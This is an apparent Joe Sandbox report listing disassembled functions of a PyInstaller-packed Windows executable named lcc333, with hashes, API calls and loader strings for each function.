Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: d759c25e625a3be379a86d42e7ac3f715acaeed28623c0d0e17a50954fc043a5
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: C151F936A18E5591F7249F2AC480238B3A1EB46F68F645036CE8C07795EF3AEC57C750

Function 00007FF714C91740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 8fb49703b9e45132b01a3925dd3b6dcf439329603f41d1b8f9ca1848a6181724
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: F051C736A14E5195F7249F2AC48123877A1EB86B78FA54136CE4C07794EF3AE847C750

Function 00007FF714C91B50 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: d6c315793da787b2845fac3b0f5cbd87db659ac14d7412a2591c6bde9b8820f7
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 6051D672A18E5191F7249F2AC48123877A1EB86B78FA84136CE4C17794EF3AE847C750

Function 00007FF714C95D30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 666f0e5519f7ea67945c5de806373c50a464d8c697a1525a5b0924ee777cbdcd
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 5641B363C09F4B15E9A99D1ACE486B4A6809F337B0DDC12B6DD9D173C7ED0E658EC120

Function 00007FF714C99EA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction ID: 2b3cce7798299b55e9842e1bdb1e2527e5832f566eb92c00197e59ae9c186524
Opcode Fuzzy Hash: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction Fuzzy Hash: 7041E422714E5582EF04DF2BD9941A9E3A1BB49FE0B899437EE0D97B54EE3DD1468300

Function 00007FF714C980E4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction ID: ddb99fc7c82c69c0a497c2de22327620135ae7adb51193991e52c441ad5b6017
Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction Fuzzy Hash: EB31A732719F4281E754AF27A88013EE6D5AB86BF0F54423AEA5D93BD5EF3CD0058724

Function 00007FF714CA9570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: e80a5def7190238d2707a9726963f40886561e459a1a262ae33c7e7e60293d55
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: 9FF0C871B286918BDBA8EF6DB44362977D0F7483D0F84913AD58C83B14DA3CC0528F14

Function 00007FF714C8D30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: f180a569abda731ed027dc8aa18db410d42113cee71e6de150253cb79df475af
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: F2A0012290CC0BD0E644AF02E8E14B5A230FB56725BD00937E10E510A1AF2CA409D320

Function 00007FF714C85830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C85840
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C85852
GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C85889
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C8589B
GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C858B4
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C858C6
GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C858DF
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C858F1
GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C8590D
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C8591F
GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C8593B
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C8594D
GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C85969
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C8597B
GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C85997
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C859A9
GetProcAddress.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C859C5
GetLastError.KERNEL32(?,00007FF714C864CF,?,00007FF714C8336E), ref: 00007FF714C859D7

Strings

PyObject_SetAttrString, xrefs: 00007FF714C85D81, 00007FF714C85DA3
PyObject_CallFunctionObjArgs, xrefs: 00007FF714C85D25, 00007FF714C85D47
PyStatus_Exception, xrefs: 00007FF714C85E39, 00007FF714C85E5B
PyUnicode_Decode, xrefs: 00007FF714C85EF1, 00007FF714C85F13
Failed to get address for %hs, xrefs: 00007FF714C85861
PySys_GetObject, xrefs: 00007FF714C85E67, 00007FF714C85E89
PyConfig_SetBytesString, xrefs: 00007FF714C85A17, 00007FF714C85A39
PyErr_Print, xrefs: 00007FF714C85B59, 00007FF714C85B7B
PyUnicode_AsUTF8, xrefs: 00007FF714C85EC3, 00007FF714C85EE5
PyErr_Occurred, xrefs: 00007FF714C85B2B, 00007FF714C85B4D
PySys_SetObject, xrefs: 00007FF714C85E95, 00007FF714C85EB7
PyErr_Fetch, xrefs: 00007FF714C85ACF, 00007FF714C85AF1
PyImport_ImportModule, xrefs: 00007FF714C85C3F, 00007FF714C85C61
PyObject_GetAttrString, xrefs: 00007FF714C85D53, 00007FF714C85D75
PyConfig_SetWideStringList, xrefs: 00007FF714C85A73, 00007FF714C85A95
PyErr_Restore, xrefs: 00007FF714C85B87, 00007FF714C85BA9
PyConfig_Clear, xrefs: 00007FF714C8598D, 00007FF714C859AF
PyUnicode_FromFormat, xrefs: 00007FF714C85F4D, 00007FF714C85F6F
PyImport_AddModule, xrefs: 00007FF714C85BE3, 00007FF714C85C05
PyMem_RawFree, xrefs: 00007FF714C85C9B, 00007FF714C85CBD
Py_Finalize, xrefs: 00007FF714C858D5, 00007FF714C858F7
PyMarshal_ReadObjectFromString, xrefs: 00007FF714C85C6D, 00007FF714C85C8F
PyErr_Clear, xrefs: 00007FF714C85AA1, 00007FF714C85AC3
PyConfig_InitIsolatedConfig, xrefs: 00007FF714C859BB, 00007FF714C859DD
PyUnicode_FromString, xrefs: 00007FF714C85F7B, 00007FF714C85F9D
PyRun_SimpleStringFlags, xrefs: 00007FF714C85E0B, 00007FF714C85E2D
PyImport_ExecCodeModule, xrefs: 00007FF714C85C11, 00007FF714C85C33
PyConfig_Read, xrefs: 00007FF714C859E9, 00007FF714C85A0B
Py_InitializeFromConfig, xrefs: 00007FF714C85903, 00007FF714C85925
PyErr_NormalizeException, xrefs: 00007FF714C85AFD, 00007FF714C85B1F
PyEval_EvalCode, xrefs: 00007FF714C85BB5, 00007FF714C85BD7
Py_PreInitialize, xrefs: 00007FF714C8595F, 00007FF714C85981
Py_DecRef, xrefs: 00007FF714C85836, 00007FF714C85858
Py_IsInitialized, xrefs: 00007FF714C85931, 00007FF714C85953
Py_ExitStatusException, xrefs: 00007FF714C858AA, 00007FF714C858CC
GetProcAddress, xrefs: 00007FF714C85868
PyObject_CallFunction, xrefs: 00007FF714C85CF7, 00007FF714C85D19
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF714C85DDD, 00007FF714C85DFF
PyModule_GetDict, xrefs: 00007FF714C85CC9, 00007FF714C85CEB
Py_DecodeLocale, xrefs: 00007FF714C8587F, 00007FF714C858A1
PyConfig_SetString, xrefs: 00007FF714C85A45, 00007FF714C85A67
PyUnicode_Join, xrefs: 00007FF714C85FA9, 00007FF714C85FCB
PyObject_Str, xrefs: 00007FF714C85DAF, 00007FF714C85DD1
PyUnicode_Replace, xrefs: 00007FF714C85FD7, 00007FF714C85FF9
PyUnicode_DecodeFSDefault, xrefs: 00007FF714C85F1F, 00007FF714C85F41

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 3394694cd300c49135d41db0d089c932158b7f1dee4ea12b45e8ef5af6a0e691
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: BA22B376A49F0B81FA15FF67A8D55B4A3A0AF17B75BE41837C41E02264FF7CA44C8220

Function 00007FF714C881D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF714C89390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF714C845F4,00000000,00007FF714C81985), ref: 00007FF714C893C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF714C886B7,?,?,00000000,00007FF714C83CBB), ref: 00007FF714C8822C

Part of subcall function 00007FF714C82810: MessageBoxW.USER32 ref: 00007FF714C828EA

Strings

LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF714C882D9
%.*s, xrefs: 00007FF714C8830C
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF714C88203
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF714C88240
\, xrefs: 00007FF714C88261
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF714C8829D
CreateDirectory, xrefs: 00007FF714C8837C
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF714C88373

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction ID: 4de427e5cb3d7cb4966f9e870bbefef4ceb0d353bb102df3126b3ed927ba275f
Opcode Fuzzy Hash: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction Fuzzy Hash: A1517921A19E4391EA50BF16E8D61BAE251AF56760FD45833D60E426D5FE3CE50D8330

Function 00007FF714C82180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF714C821AB
SelectObject.GDI32 ref: 00007FF714C821F2
DrawTextW.USER32 ref: 00007FF714C82215
SelectObject.GDI32 ref: 00007FF714C8222B
ReleaseDC.USER32 ref: 00007FF714C8223B
MoveWindow.USER32 ref: 00007FF714C8228B
MoveWindow.USER32 ref: 00007FF714C822CB
MoveWindow.USER32 ref: 00007FF714C8231E
MoveWindow.USER32 ref: 00007FF714C82366

Strings

P%, xrefs: 00007FF714C821FF

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 5e462357cd850baec87a4386e410f05c9cd8456bcbfcd018be76a1ce47eb3ba3
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 6251F726604BA186D6349F26E4581BAF7A1FB99B71F004122EFDE43694EF3CD049DB20

Function 00007FF714C880C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF714C880FF
GetWindowLongPtrW.USER32 ref: 00007FF714C8817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF714C88192
GetLastError.KERNEL32 ref: 00007FF714C8819C
SetWindowLongPtrW.USER32 ref: 00007FF714C881B3

Strings

Needs to remove its temporary files., xrefs: 00007FF714C88185

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 5b45a17a5ecac6194544e49824db05b73bb64181a081746830d44c20586cb60a
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 8A216726B09E4382E641AF7BF885169E250EF46FB0F984532DB1D437D8FE2CD5998230

Function 00007FF714C96290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C962D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C966C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C9695C

Strings

f, xrefs: 00007FF714C963F5
-, xrefs: 00007FF714C96369
:, xrefs: 00007FF714C9648C
p, xrefs: 00007FF714C963FD
p, xrefs: 00007FF714C96385

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 5a83667a0a8d134935064edbc12cdd7207d48d37714481a3fdf81e8f6b71af08
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: C9129161F0CA43A6FB24BE26D994279F691FB42760FC44137D68D466C4EB3CE588CB24

Function 00007FF714C90FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C91008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C913D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C9166F

Strings

p, xrefs: 00007FF714C910AD
f, xrefs: 00007FF714C91255
f, xrefs: 00007FF714C9110A
p, xrefs: 00007FF714C91112
f, xrefs: 00007FF714C910A0

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 951f021cd1dd0549024a44329c8b7bec1b6c591e3de3192be59c719630100ac5
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 82128761E0C943A5FB647E16D886279F6A1FBC2770FD4403BD699466C4EF3CE5488B20

Function 00007FF714C81050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF714C8110F
fseek, xrefs: 00007FF714C810D3
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF714C81108
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF714C810CC
fread, xrefs: 00007FF714C811FD
Failed to extract %s: failed to open archive file!, xrefs: 00007FF714C81098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF714C811F6

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
